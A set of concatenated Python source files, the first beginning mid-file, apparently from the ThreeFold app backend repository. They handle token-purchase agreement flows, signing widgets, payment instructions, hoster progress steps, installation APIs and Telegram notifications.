@returns()
@arguments(email=unicode, tag=unicode, result_key=unicode, context=unicode, service_identity=unicode,
user_details=UserDetailsTO)
def start_invest(email, tag, result_key, context, service_identity, user_details):
# type: (unicode, unicode, unicode, unicode, unicode, UserDetailsTO) -> None
logging.info('Ignoring start_invest poke tag because this flow is not used atm')
return
flow = BUY_TOKENS_FLOW_V3_KYC_MENTION
logging.info('Starting invest flow %s for user %s', flow, user_details.email)
members = [MemberTO(member=user_details.email, app_id=user_details.app_id, alert_flags=0)]
flow_params = json.dumps({'currencies': _get_conversion_rates()})
messaging.start_local_flow(get_mazraa_api_key(), None, members, service_identity, tag=BUY_TOKENS_TAG,
context=context, flow=flow, flow_params=flow_params)
def _get_conversion_rates():
result = []
stats = get_global_stats(TOKEN_ITFT)
for currency in stats.currencies:
result.append({
'name': _get_currency_name(currency.currency),
'symbol': currency.currency,
'value': currency.value
})
return result
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory("step_type", FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def invest_complete(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag,
result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
email = user_details.email
app_id = user_details.app_id
if 'confirm' in end_id:
agreement_key = InvestmentAgreement.create_key(json.loads(tag)['investment_id'])
try_or_defer(_invest, agreement_key, email, app_id, 0)
def _get_currency_name(currency):
if currency in SUPPORTED_CRYPTO_CURRENCIES:
return CRYPTO_CURRENCY_NAMES[currency]
return get_currency_name(currency, locale='en_GB')
def _set_token_count(agreement, token_count_float=None, precision=2):
# type: (InvestmentAgreement, float, int) -> None
stats = get_global_stats(agreement.token)
logging.info('Setting token count for agreement %s', agreement.to_dict())
if agreement.status == InvestmentAgreement.STATUS_CREATED:
if agreement.currency == 'USD':
agreement.token_count = long((agreement.amount / stats.value) * pow(10, precision))
else:
currency_stats = filter(lambda s: s.currency == agreement.currency, stats.currencies)[0]
if not currency_stats:
raise HttpBadRequestException('Could not find currency conversion for currency %s' % agreement.currency)
agreement.token_count = long((agreement.amount / currency_stats.value) * pow(10, precision))
# token_count can be overwritten when marking the investment as paid for BTC
elif agreement.status == InvestmentAgreement.STATUS_SIGNED:
if agreement.currency == 'BTC':
if not token_count_float:
raise HttpBadRequestException('token_count_float must be provided when setting token count for BTC')
# The course of BTC changes how much tokens are granted
if agreement.token_count:
logging.debug('Overwriting token_count for investment agreement %s from %s to %s',
agreement.id, agreement.token_count, token_count_float)
agreement.token_count = long(token_count_float * pow(10, precision))
agreement.token_precision = precision
def _invest(agreement_key, email, app_id):
# type: (ndb.Key, unicode, unicode) -> None
from plugins.tff_backend.bizz.agreements import create_token_agreement_pdf
app_user = create_app_user_by_email(email, app_id)
logging.debug('Creating Token agreement')
agreement = get_investment_agreement(agreement_key.id())
_set_token_count(agreement)
agreement.put()
currency_full = _get_currency_name(agreement.currency)
pdf_name = InvestmentAgreement.filename(agreement_key.id())
username = get_username(app_user)
has_verified_utility_bill = get_tff_profile(username).kyc.utility_bill_verified
pdf_contents = create_token_agreement_pdf(agreement.name, agreement.address, agreement.amount, currency_full,
agreement.currency, agreement.token, agreement.payment_info,
has_verified_utility_bill)
pdf_url = upload_to_gcs(pdf_name, pdf_contents, 'application/pdf')
logging.debug('Storing Investment Agreement in the datastore')
pdf_size = len(pdf_contents)
attachment_name = u'Purchase Agreement - Internal Token Offering %s' % agreement_key.id()
deferred.defer(_send_ito_agreement_sign_message, agreement_key, app_user, pdf_url, attachment_name, pdf_size)
deferred.defer(update_investor_progress, email, app_id, INVESTMENT_TODO_MAPPING[agreement.status])
def needs_utility_bill(agreement):
if agreement.currency in ('EUR', 'GBP') \
or (agreement.currency == 'USD' and PaymentInfo.UAE not in agreement.payment_info):
tff_profile = get_tff_profile(agreement.username)
# not uploaded -> must be someone without a passport -> doesn't need utility bill
if not tff_profile.kyc.utility_bill_url:
return False
return not tff_profile.kyc.utility_bill_verified
return False
def _send_utility_bill_received(app_user):
email, app_id = get_app_user_tuple(app_user)
members = [MemberTO(member=email.email(), app_id=app_id, alert_flags=0)]
messaging.start_local_flow(get_mazraa_api_key(), None, members, None, flow=FLOW_UTILITY_BILL_RECEIVED)
def _send_ito_agreement_sign_message(agreement_key, app_user, pdf_url, attachment_name, pdf_size):
logging.debug('Sending SIGN widget to app user')
form = SignFormTO(positive_button_ui_flags=Message.UI_FLAG_EXPECT_NEXT_WAIT_5,
widget=SignTO(algorithm=KEY_ALGORITHM,
key_name=KEY_NAME,
payload=base64.b64encode(pdf_url).decode('utf-8')))
attachment = AttachmentTO(content_type=u'application/pdf',
download_url=pdf_url,
name=attachment_name,
size=pdf_size)
tag = json.dumps({
u'__rt__.tag': u'sign_investment_agreement',
u'agreement_id': agreement_key.id()
}).decode('utf-8')
flow_params = json.dumps({
'form': form.to_dict(),
'attachments': [attachment.to_dict()]
})
email, app_id = get_app_user_tuple(app_user)
members = [MemberTO(member=email.email(), app_id=app_id, alert_flags=0)]
messaging.start_local_flow(get_mazraa_api_key(), None, members, None, tag=tag,
context=None, flow=FLOW_SIGN_INVESTMENT, flow_params=flow_params)
deferred.defer(_send_sign_investment_reminder, agreement_key.id(), u'long', _countdown=3600, _queue=SCHEDULED_QUEUE)
deferred.defer(_send_sign_investment_reminder, agreement_key.id(), u'short', _countdown=3 * DAY,
_queue=SCHEDULED_QUEUE)
deferred.defer(_send_sign_investment_reminder, agreement_key.id(), u'short', _countdown=10 * DAY,
_queue=SCHEDULED_QUEUE)
def _send_ito_agreement_to_admin(agreement_key, admin_app_user):
logging.debug('Sending SIGN widget to payment admin %s', admin_app_user)
agreement = agreement_key.get() # type: InvestmentAgreement
widget = SignTO()
widget.algorithm = KEY_ALGORITHM
widget.caption = u'Sign to mark this investment as paid.'
widget.key_name = KEY_NAME
widget.payload = base64.b64encode(str(agreement_key.id())).decode('utf-8')
form = SignFormTO()
form.negative_button = u'Abort'
form.negative_button_ui_flags = 0
form.positive_button = u'Accept'
form.positive_button_ui_flags = Message.UI_FLAG_EXPECT_NEXT_WAIT_5
form.type = SignTO.TYPE
form.widget = widget
member_user, app_id = get_app_user_tuple(admin_app_user)
message = u"""Enter your pin code to mark purchase agreement %(investment)s (reference %(reference)s as paid.
- from: %(user)s\n
- amount: %(amount)s %(currency)s
- %(token_count_float)s %(token_type)s tokens
""" % {'investment': agreement.id,
'user': agreement.username,
'amount': agreement.amount,
'currency': agreement.currency,
'token_count_float': agreement.token_count_float,
'token_type': agreement.token,
'reference': agreement.reference}
messaging.send_form(api_key=get_mazraa_api_key(),
parent_message_key=None,
member=member_user.email(),
message=message,
form=form,
flags=0,
alert_flags=Message.ALERT_FLAG_VIBRATE,
branding=get_main_branding_hash(),
tag=json.dumps({u'__rt__.tag': u'sign_investment_agreement_admin',
u'agreement_id': agreement_key.id()}).decode('utf-8'),
attachments=[],
app_id=app_id,
step_id=u'sign_investment_agreement_admin')
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory("step_type", FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def investment_agreement_signed(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key,
tag, result_key, flush_id, flush_message_flow_id, service_identity, user_details,
flow_params):
try:
user_detail = user_details
tag_dict = json.loads(tag)
agreement = InvestmentAgreement.create_key(tag_dict['agreement_id']).get() # type: InvestmentAgreement
last_step = steps[-1]
assert isinstance(last_step, FormFlowStepTO)
if last_step.answer_id != FormTO.POSITIVE:
logging.info('Investment agreement was canceled')
agreement.status = InvestmentAgreement.STATUS_CANCELED
agreement.cancel_time = now()
agreement.put()
return None
logging.info('Received signature for Investment Agreement')
sign_result = last_step.form_result.result.get_value()
assert isinstance(sign_result, SignWidgetResultTO)
iyo_username = get_username(user_detail)
logging.debug('Storing signature in DB')
agreement.populate(status=InvestmentAgreement.STATUS_SIGNED,
signature=sign_result.payload_signature,
sign_time=now())
agreement.put_async()
deferred.defer(add_user_to_role, user_detail, RogerthatRoles.INVESTOR)
intercom_tags = get_intercom_tags_for_investment(agreement)
if intercom_tags:
for i_tag in intercom_tags:
deferred.defer(intercom_helpers.tag_intercom_users, i_tag, [iyo_username])
deferred.defer(update_investor_progress, user_detail.email, user_detail.app_id,
INVESTMENT_TODO_MAPPING[agreement.status])
deferred.defer(_inform_support_of_new_investment, iyo_username, agreement.id, agreement.token_count_float)
app_user = create_app_user(users.User(user_detail.email), user_detail.app_id)
if needs_utility_bill(agreement):
logging.debug('Sending "utility bill received" message')
deferred.defer(_send_utility_bill_received, app_user)
else:
logging.debug('Sending confirmation message')
deferred.defer(send_payment_instructions, app_user, agreement.id, '')
deferred.defer(send_hoster_reminder, agreement.username, _countdown=1)
result = FlowCallbackResultTypeTO(flow=FLOW_INVESTMENT_CONFIRMED,
tag=None,
force_language=None,
flow_params=json.dumps({'reference': agreement.reference}))
return FlowMemberResultCallbackResultTO(type=TYPE_FLOW, value=result)
except:
logging.exception('An unexpected error occurred')
return create_error_message()
@returns(NoneType)
@arguments(status=int, form_result=FormResultTO, answer_id=unicode, member=unicode, message_key=unicode, tag=unicode,
received_timestamp=int, acked_timestamp=int, parent_message_key=unicode, result_key=unicode,
service_identity=unicode, user_details=UserDetailsTO)
def investment_agreement_signed_by_admin(status, form_result, answer_id, member, message_key, tag, received_timestamp,
acked_timestamp, parent_message_key, result_key, service_identity,
user_details):
tag_dict = json.loads(tag)
def trans():
agreement = InvestmentAgreement.create_key(tag_dict['agreement_id']).get() # type: InvestmentAgreement
if answer_id != FormTO.POSITIVE:
logging.info('Investment agreement sign aborted')
return
if agreement.status == InvestmentAgreement.STATUS_PAID:
logging.warn('Ignoring request to set InvestmentAgreement %s as paid because it is already paid',
agreement.id)
return
agreement.status = InvestmentAgreement.STATUS_PAID
agreement.paid_time = now()
agreement.put()
profile = get_tff_profile(agreement.username)
user_email, app_id, = get_app_user_tuple(profile.app_user)
deferred.defer(update_investor_progress, user_email.email(), app_id, INVESTMENT_TODO_MAPPING[agreement.status],
_transactional=True)
deferred.defer(_send_tokens_assigned_message, profile.app_user, _transactional=True)
ndb.transaction(trans)
@returns(InvestmentAgreement)
@arguments(agreement_id=(int, long), agreement=InvestmentAgreementTO, admin_app_user=users.User)
def put_investment_agreement(agreement_id, agreement, admin_app_user):
# type: (long, InvestmentAgreement, users.User) -> InvestmentAgreement
agreement_model = InvestmentAgreement.get_by_id(agreement_id) # type: InvestmentAgreement
if not agreement_model:
raise HttpNotFoundException('investment_agreement_not_found')
if agreement_model.status == InvestmentAgreement.STATUS_CANCELED:
raise HttpBadRequestException('order_canceled')
if agreement.status not in (InvestmentAgreement.STATUS_SIGNED, InvestmentAgreement.STATUS_CANCELED):
raise HttpBadRequestException('invalid_status')
# Only support updating the status for now
agreement_model.status = agreement.status
if agreement_model.status == InvestmentAgreement.STATUS_CANCELED:
agreement_model.cancel_time = now()
elif agreement_model.status == InvestmentAgreement.STATUS_SIGNED:
agreement_model.paid_time = now()
if agreement.currency == 'BTC':
_set_token_count(agreement_model, agreement.token_count_float)
deferred.defer(_send_ito_agreement_to_admin, agreement_model.key, admin_app_user)
agreement_model.put()
return agreement_model
def _inform_support_of_new_investment(iyo_username, agreement_id, token_count):
subject = "New purchase agreement signed"
body = """Hello,
We just received a new purchase agreement (%(agreement_id)s) from %(iyo_username)s for %(token_count_float)s tokens.
Please visit %(base_url)s/investment-agreements/%(agreement_id)s to find more details, and collect all the money!
""" % {"iyo_username": iyo_username,
"agreement_id": agreement_id,
'base_url': get_base_url(),
"token_count_float": token_count} # noQA
send_emails_to_support(subject, body)
def get_total_token_count(username, agreements):
total_token_count = defaultdict(lambda: 0)
for agreement in agreements:
total_token_count[agreement.token] += agreement.token_count_float
logging.debug('%s has the following tokens: %s', username, dict(total_token_count))
return total_token_count
def get_total_investment_value(username):
statuses = (InvestmentAgreement.STATUS_PAID, InvestmentAgreement.STATUS_SIGNED)
total_token_count = get_total_token_count(username, InvestmentAgreement.list_by_status_and_user(username, statuses))
tokens = total_token_count.keys()
stats = dict(zip(tokens, ndb.get_multi([GlobalStats.create_key(token) for token in tokens])))
total_usd = 0
for token, token_count in total_token_count.iteritems():
total_usd += token_count * stats[token].value
logging.debug('The tokens of %s are worth $%s', username, total_usd)
return total_usd
@returns()
@arguments(username=unicode)
def send_hoster_reminder(username):
# Temporarily disabled
return
if get_total_investment_value(username) >= 600:
send_rogerthat_flow(app_user, FLOW_HOSTER_REMINDER)
@returns()
@arguments(app_user=users.User, agreement_id=(int, long), message_prefix=unicode, reminder=bool)
def send_payment_instructions(app_user, agreement_id, message_prefix, reminder=False):
agreement = get_investment_agreement(agreement_id)
if reminder and agreement.status != InvestmentAgreement.STATUS_SIGNED:
return
elif not reminder:
deferred.defer(send_payment_instructions, app_user, agreement_id, message_prefix, True,
_countdown=14 * DAY, _queue=SCHEDULED_QUEUE)
username = get_username(app_user)
profile = get_tff_profile(username)
params = {
'currency': agreement.currency,
'reference': agreement.reference,
'message_prefix': message_prefix,
'bank_account': get_bank_account_info(agreement.currency, agreement.payment_info,
profile.kyc.utility_bill_verified),
}
if agreement.currency == 'BTC':
params['amount'] = '{:.8f}'.format(agreement.amount)
params['notes'] = u'Please inform us by email at <EMAIL> when you have made payment.'
else:
params['amount'] = '{:.2f}'.format(agreement.amount)
params['notes'] = u'For the attention of ThreeFold FZC, a company incorporated under the laws of Sharjah, ' \
u'United Arab Emirates, with registered office at SAIF Zone, SAIF Desk Q1-07-038/B'
subject = u'ThreeFold payment instructions'
msg = u"""%(message_prefix)sHere are your payment instructions for the purchase of your ThreeFold Tokens.
Please use the following transfer details:
Amount: %(currency)s %(amount)s
%(bank_account)s
%(notes)s
Please use %(reference)s as reference.""" % params
send_message_and_email(app_user, msg, subject, get_mazraa_api_key())
def _send_tokens_assigned_message(app_user):
subject = u'ThreeFold tokens assigned'
message = 'Dear ThreeFold Member, we have just assigned your tokens to your wallet. ' \
'It may take up to an hour for them to appear in your wallet. ' \
'\n\nWe would like to take this opportunity to remind you to have a paper backup of your wallet. ' \
'You can make such a backup by writing down the 29 words you can use to restore the wallet. ' \
'\nYou can find these 29 words by going to Settings -> Security -> threefold. ' \
'\n\nThank you once again for getting on board!'
send_message_and_email(app_user, message, subject, get_mazraa_api_key())
@arguments(agreement=InvestmentAgreement)
def get_intercom_tags_for_investment(agreement):
if agreement.status not in [InvestmentAgreement.STATUS_PAID, InvestmentAgreement.STATUS_SIGNED]:
return []
if agreement.token == TOKEN_ITFT:
return [IntercomTags.ITFT_PURCHASER, IntercomTags.GREENITGLOBE_CONTRACT]
elif agreement.token == TOKEN_TFT:
# todo: In the future (PTO), change ITO_INVESTOR to IntercomTags.TFT_PURCHASER
return [IntercomTags.BETTERTOKEN_CONTRACT, IntercomTags.ITO_INVESTOR]
else:
logging.warn('Unknown token %s, not tagging intercom user %s', agreement.token, agreement.username)
return []
@returns()
@arguments(agreement_id=(int, long), message_type=unicode)
def _send_sign_investment_reminder(agreement_id, message_type):
agreement = get_investment_agreement(agreement_id)
if agreement.status != InvestmentAgreement.STATUS_CREATED:
return
if message_type == u'long':
message = 'Dear ThreeFold Member,\n\n' \
'Thank you for joining the ThreeFold Foundation! Your contract has been created and is ready to be signed and processed.\n' \
'You can find your created %s Purchase Agreement in your ThreeFold messages.' % agreement.token
elif message_type == u'short':
message = 'Dear ThreeFold Member,\n\n' \
'It appears that your created %s Purchase Agreement has not been signed yet.' % agreement.token
else:
return
subject = u'Your Purchase Agreement is ready to be signed'
app_user = get_tff_profile(agreement.username).app_user
send_message_and_email(app_user, message, subject, get_mazraa_api_key())
# Called after the user his utility bill was approved
def send_signed_investments_messages(app_user):
username = get_username(app_user)
agreements = InvestmentAgreement.list_by_status_and_user(username, InvestmentAgreement.STATUS_SIGNED)
for agreement in agreements:
deferred.defer(send_payment_instructions, app_user, agreement.id, '')
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/todo/hoster.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
class HosterSteps(object):
DOWNLOAD = 'DOWNLOAD'
REGISTER_IYO = 'REGISTER_IYO'
FLOW_INIT = 'FLOW_INIT'
FLOW_ADDRESS = 'FLOW_ADDRESS'
FLOW_SIGN = 'FLOW_SIGN'
NODE_SENT = 'NODE_SENT'
NODE_POWERED = 'NODE_POWERED'
DESCRIPTIONS = {
DOWNLOAD: 'Download the ThreeFold app',
REGISTER_IYO: 'Register on ItsYou.Online',
FLOW_INIT: 'Initiate “become a hoster process” in the TF app',
FLOW_SIGN: 'Sign the hoster agreement',
FLOW_ADDRESS: 'Share shipping address, telephone number, name with shipping company',
NODE_SENT: 'Receive confirmation of sending',
NODE_POWERED: 'Hook up node to Internet and power',
}
@classmethod
def all(cls):
return [cls.DOWNLOAD,
cls.REGISTER_IYO,
cls.FLOW_INIT,
cls.FLOW_ADDRESS,
cls.FLOW_SIGN,
cls.NODE_SENT,
cls.NODE_POWERED]
@classmethod
def should_archive(cls, step):
return cls.NODE_POWERED == step
@classmethod
def get_name_for_step(cls, step):
if step not in cls.DESCRIPTIONS:
logging.error('Hoster description for step \'%s\' not set', step)
return cls.DESCRIPTIONS.get(step, step)
@classmethod
def get_progress(cls, last_checked_step):
checked = False
items = []
for step in reversed(cls.all()):
if not checked and step == last_checked_step:
checked = True
item = {
'id': step,
'name': cls.get_name_for_step(step),
'checked': checked
}
items.append(item)
return {
'id': 'hoster',
'name': 'Become a hoster',
'items': list(reversed(items))
}
|
threefoldfoundation/app_backend | plugins/tff_backend/handlers/update_app.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import webapp2
from framework.bizz.i18n import get_user_language
from framework.handlers import render_page
from framework.plugin_loader import get_config
from plugins.tff_backend.plugin_consts import NAMESPACE
class UpdateAppPageHandler(webapp2.RequestHandler):
def get(self, *args, **kwargs):
parameters = {
'lang': get_user_language(),
'url': 'https://rogerth.at/install/%s' % get_config(NAMESPACE).rogerthat.app_id
}
render_page(self.response, 'update-app.html', template_parameters=parameters)
|
threefoldfoundation/app_backend | plugins/tff_backend/api/installations.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.to.installation import InstallationLogTO, InstallationTO, InstallationListTO
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.bizz.installations import list_installations, get_installation, list_installation_logs
@rest('/installations', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns(InstallationListTO)
@arguments(page_size=(int, long), cursor=unicode)
def api_list_installations(page_size=50, cursor=None):
return list_installations(page_size=page_size, cursor=cursor)
@rest('/installations/<installation_id:[^/]+>', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns(InstallationTO)
@arguments(installation_id=unicode)
def api_get_installation(installation_id):
return get_installation(installation_id=installation_id)
@rest('/installations/<installation_id:[^/]+>/logs', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns([InstallationLogTO])
@arguments(installation_id=unicode)
def api_list_installation_logs(installation_id):
return list_installation_logs(installation_id=installation_id)
|
threefoldfoundation/app_backend | plugins/tff_backend/to/dashboard.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from enum import Enum
from framework.to import TO
from mcfw.properties import unicode_property, typed_property
class TickerEntryType(Enum):
FLOW = 'flow'
INSTALLATION = 'installation'
class TickerEntryTO(TO):
date = unicode_property('date')
data = typed_property('data', dict)
id = unicode_property('id')
type = unicode_property('type') # one of ['flow', 'installation']
def to_dict(self, include=None, exclude=None):
return super(TickerEntryTO, self).to_dict(exclude=exclude or ['id'])
|
threefoldfoundation/app_backend | plugins/tff_backend/api/rogerthat/documents.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.tff_backend.bizz.global_stats import ApiCallException
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.models.document import Document, DocumentType
from plugins.tff_backend.models.hoster import NodeOrder
from plugins.tff_backend.models.investor import InvestmentAgreement
from plugins.tff_backend.to.user import SignedDocumentTO
@returns([SignedDocumentTO])
@arguments(params=dict, user_detail=UserDetailsTO)
def api_list_documents(params, user_detail):
try:
username = get_username(user_detail)
orders = NodeOrder.list_by_user(username).fetch_async()
agreements = InvestmentAgreement.list_by_user(username).fetch_async()
documents = Document.list_by_username(username).fetch_async()
results = []
for order in orders.get_result(): # type: NodeOrder
results.append(SignedDocumentTO(description=u'Terms and conditions for ordering a Zero-Node',
signature=order.signature,
name=u'Zero-Node order %s' % order.id,
link=order.document_url))
for agreement in agreements.get_result(): # type: InvestmentAgreement
results.append(SignedDocumentTO(description=u'Internal token offering - Investment Agreement',
signature=agreement.signature,
name=u'Investment agreement %s' % agreement.id,
link=agreement.document_url))
for document in documents.get_result(): # type: Document
if document.type == DocumentType.TOKEN_VALUE_ADDENDUM:
description = u"""After much feedback from the blockchain and cryptocurrency community, we have adjusted the price of the iTFT from USD $5.00 to
USD $0.05. This means for the Purchase Amount previously outlined in your Purchase Agreement(s), you will receive more tokens."""
results.append(SignedDocumentTO(description=description,
signature=document.signature,
name=u'ITFT Price Adjustment %s' % document.id,
link=document.url))
return results
except:
logging.error('Failed to list documents', exc_info=True)
raise ApiCallException(u'Could not load ThreeFold documents. Please try again later.')
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_006_investor_todo_list.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.ext import ndb
from google.appengine.ext.deferred import deferred
from plugins.tff_backend.bizz.investor import INVESTMENT_TODO_MAPPING
from plugins.tff_backend.bizz.todo import update_investor_progress
from plugins.tff_backend.models.investor import InvestmentAgreement
from plugins.tff_backend.models.user import TffProfile
from plugins.tff_backend.utils.app import get_app_user_tuple
def migrate(dry_run=False):
investments = InvestmentAgreement.query().fetch(1000) # type: list[InvestmentAgreement]
updates = {}
for investment in investments:
new_status = INVESTMENT_TODO_MAPPING[investment.status]
if investment.username not in updates or updates[investment.username] < new_status:
updates[investment.username] = INVESTMENT_TODO_MAPPING[investment.status]
if dry_run:
return updates
keys = [TffProfile.create_key(username) for username in updates]
app_users = {p.username: p.app_user for p in ndb.get_multi(keys)}
for username, step in updates.iteritems():
email, app_id = get_app_user_tuple(app_users.get(username))
deferred.defer(update_investor_progress, email.email(), app_id, step)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/agreements/document.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import base64
import json
import logging
from plugins.rogerthat_api.api import messaging
from plugins.rogerthat_api.to import MemberTO
from plugins.rogerthat_api.to.messaging import Message, AttachmentTO
from plugins.rogerthat_api.to.messaging.forms import SignFormTO, SignTO
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.bizz.iyo.utils import get_app_user_from_iyo_username
from plugins.tff_backend.plugin_consts import KEY_ALGORITHM, KEY_NAME
from plugins.tff_backend.utils.app import get_app_user_tuple
def send_document_sign_message(document_key, username, pdf_url, attachment_name, pdf_size, tag, flow, push_message):
app_user = get_app_user_from_iyo_username(username)
logging.debug('Sending sign widget to app user %s for document %s', app_user, document_key)
form = SignFormTO(positive_button_ui_flags=Message.UI_FLAG_EXPECT_NEXT_WAIT_5,
widget=SignTO(algorithm=KEY_ALGORITHM,
key_name=KEY_NAME,
payload=base64.b64encode(pdf_url).decode('utf-8')))
attachment = AttachmentTO(content_type=u'application/pdf',
download_url=pdf_url,
name=attachment_name,
size=pdf_size)
tag = json.dumps({
u'__rt__.tag': tag,
u'document_id': document_key.id()
}).decode('utf-8')
flow_params = json.dumps({
'form': form.to_dict(),
'attachments': [attachment.to_dict()]
})
email, app_id = get_app_user_tuple(app_user)
members = [MemberTO(member=email.email(), app_id=app_id, alert_flags=0)]
messaging.start_local_flow(get_tf_token_api_key(), None, members, None, tag=tag, context=None, flow=flow,
push_message=push_message, flow_params=flow_params)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/nodes/telegram.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import json
import logging
from google.appengine.api import urlfetch
from framework.plugin_loader import get_config
from mcfw.consts import MISSING, DEBUG
from plugins.tff_backend.configuration import TelegramConfig
from plugins.tff_backend.plugin_consts import NAMESPACE
class TelegramException(Exception):
pass
def _telegram_request(method, payload=None):
telegram_config = get_config(NAMESPACE).telegram # type: TelegramConfig
if telegram_config is MISSING:
logging.debug('Not sending request to telegram because no config was found')
return
headers = {'Content-Type': 'application/json'}
if payload:
payload['chat_id'] = telegram_config.chat_id
response = urlfetch.fetch('https://api.telegram.org/bot%s/%s' % (telegram_config.bot_token, method),
json.dumps(payload), urlfetch.POST, headers) # type: urlfetch._URLFetchResult
if response.status_code == 200:
return response.content
raise TelegramException(response.content)
def send_message(message):
data = {
'text': message,
'parse_mode': 'markdown',
}
if DEBUG:
logging.info('Message to telegram: %s' % message)
return
return _telegram_request('sendMessage', data)
|
threefoldfoundation/app_backend | plugins/tff_backend/models/hoster.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import re
from google.appengine.api import datastore_errors
from google.appengine.ext import ndb
from framework.consts import DAY
from framework.models.common import NdbModel
from framework.plugin_loader import get_config
from framework.utils import chunks, now
from plugins.tff_backend.bizz.gcs import get_serving_url, encrypt_filename
